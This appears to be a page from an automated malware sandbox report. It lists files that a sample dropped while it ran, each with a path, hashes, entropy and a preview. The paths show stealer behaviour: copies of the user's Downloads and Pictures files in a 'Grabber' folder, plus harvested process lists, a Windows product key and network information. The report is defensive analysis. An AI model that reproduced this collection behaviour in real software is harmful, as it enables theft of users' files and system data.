GJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NYMMPCEIMA.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5191090305155277
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlt4DAlLwkAl2FlRaQmZWGokJISlVl9:QZsiL5wmHOlDmo0qmt4clLwr2FlDmo0d
MD5:	3A37312509712D4E12D27240137FF377
SHA1:	30CED927E23B584725CF16351394175A6D2A9577
SHA-256:	B029393EA7B7CF644FB1C9F984F57C1980077562EE2E15D0FFD049C4C48098D3
SHA-512:	DBB9ABE70F8A781D141A71651A62A3A743C71A75A8305E9D23AF92F7307FB639DC4A85499115885E2A781B040CBB7613F582544C2D6DE521E588531E9C294B05
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.4.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\System\Process.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20715
Entropy (8bit):	5.699171777251708
Encrypted:	false
SSDEEP:	96:fPTT2QLtZjSmCLgLebauoe2X+digw6WuGHO23JbpaZRlkCwyUP20kjPgk8tbEggl:3TFtFXHqghbEDCwii7lF8QhzenrH2
MD5:	1FC9DDCC8971928FF3FC94D10F4041FB
SHA1:	D1A174CE8A9867F31F28632E73914435CF878846
SHA-256:	D09252CF421CB1C25B52203EC73AD91D11846DE1127D91D41C3D7AE32646CA40
SHA-512:	3535FCD98A436A33750725CFBACD4C1D9F43319684A0445C8D1A2673A87FDD6C03E14C58C05958C8C47474B9187B0F12967AF2F6172A4D5787C77C19685BE85F
Malicious:	false
Preview:	NAME: ejtNcqSEuTdorckkbQCOfgIMZlElCE..PID: 3876..EXE: C:\Program Files (x86)\cjooJewgXUSnmhbPWlQfBfaPcodDZcvxYsznSPZcJWKdewHCWBhXrgJWpKtwgvNeZl\ejtNcqSEuTdorckkbQCOfgIMZlElCE.exe..NAME: RuntimeBroker..PID: 4732..EXE: C:\Windows\System32\RuntimeBroker.exe..NAME: ejtNcqSEuTdorckkbQCOfgIMZlElCE..PID: 6024..EXE: C:\Program Files (x86)\cjooJewgXUSnmhbPWlQfBfaPcodDZcvxYsznSPZcJWKdewHCWBhXrgJWpKtwgvNeZl\ejtNcqSEuTdorckkbQCOfgIMZlElCE.exe..NAME: csrss..PID: 420..EXE: ..NAME: ejtNcqSEuTdorckkbQCOfgIMZlElCE..PID: 4724..EXE: C:\Program Files (x86)\cjooJewgXUSnmhbPWlQfBfaPcodDZcvxYsznSPZcJWKdewHCWBhXrgJWpKtwgvNeZl\ejtNcqSEuTdorckkbQCOfgIMZlElCE.exe..NAME: ejtNcqSEuTdorckkbQCOfgIMZlElCE..PID: 4292..EXE: C:\Program Files (x86)\cjooJewgXUSnmhbPWlQfBfaPcodDZcvxYsznSPZcJWKdewHCWBhXrgJWpKtwgvNeZl\ejtNcqSEuTdorckkbQCOfgIMZlElCE.exe..NAME: svchost..PID: 5152..EXE: C:\Windows\system32\svchost.exe..NAME: backgroundTaskHost..PID: 3424..EXE: C:\Windows\system32\backgroundTaskHost.exe..NAME: ejtNcqSEuTdorckkbQ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\System\ProductKey.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.9059244270435447
Encrypted:	false
SSDEEP:	3:j9hxrIanW7J1Xn:BhxZuJ1Xn
MD5:	C2115CD1357DE0D83F2F070B9FB54C31
SHA1:	9C5E214B59D8B6A29F312F1DDCC949508CE2A9DF
SHA-256:	27E9F5921A1A74013C0C1AA630D0AD52DA31191605E1B9B47158C71F8123408F
SHA-512:	D5AF56FACA4FD0A8B91E12D3883A1F05977900B8F0A1E5B208EF5A0191CCFCEA41DB6C85E8324DD8D91DF249E77A3229FA992007D81D142A52B7FBC92C66330D
Malicious:	false
Preview:	97XDQ-NQQRH-QFBGP-4Q9RK-38P4T

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\System\ScanningNetworks.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.6630509827051725
Encrypted:	false
SSDEEP:	3:PHsEiVboFkaQXMtS1ME/M2en:PsEwYVQXOS1TUn
MD5:	58CD2334CFC77DB470202487D5034610
SHA1:	61FA242465F53C9E64B3752FE76B2ADCCEB1F237
SHA-256:	59B3120C5CE1A7D1819510272A927E1C8F1C95385213FCCBCDD429FF3492040D
SHA-512:	C8F52D85EC99177C722527C306A64BA61ADC3AD3A5FEC6D87749FBAD12DA424BA6B34880AB9DA627FB183412875F241E1C1864D723E62130281E44C14AD1481E
Malicious:	false
Preview:	Active code page: 65001..The Wireless AutoConfig Service (wlansvc) is not running...

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\System\Windows.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16649
Entropy (8bit):	5.657523316721965
Encrypted:	false
SSDEEP:	96:DJC8nnlmG/M3i3j/KR7ijmQOiddSoONoPKUnq6eMEb2lSKqoGfDuoplkfj74xVUD:W8
MD5:	0C2B1596D45E67536F52A4A262AAB00E
SHA1:	76253E9FC2C243898CF1105610F446D4C6EA6363
SHA-256:	FDA622EBCE8FEC58C3B65893D6F402E3DC67E494178B1BBE3A9F49DCDBD78889
SHA-512:	0E4B9F17E59C1F5A72C400770132D7F37489EABCF12CBDA7595E9965432137AD63895681F36B1F449B1675B20144D2CC174231D3ED2D5BCB55CC84A72910979A
Malicious:	false
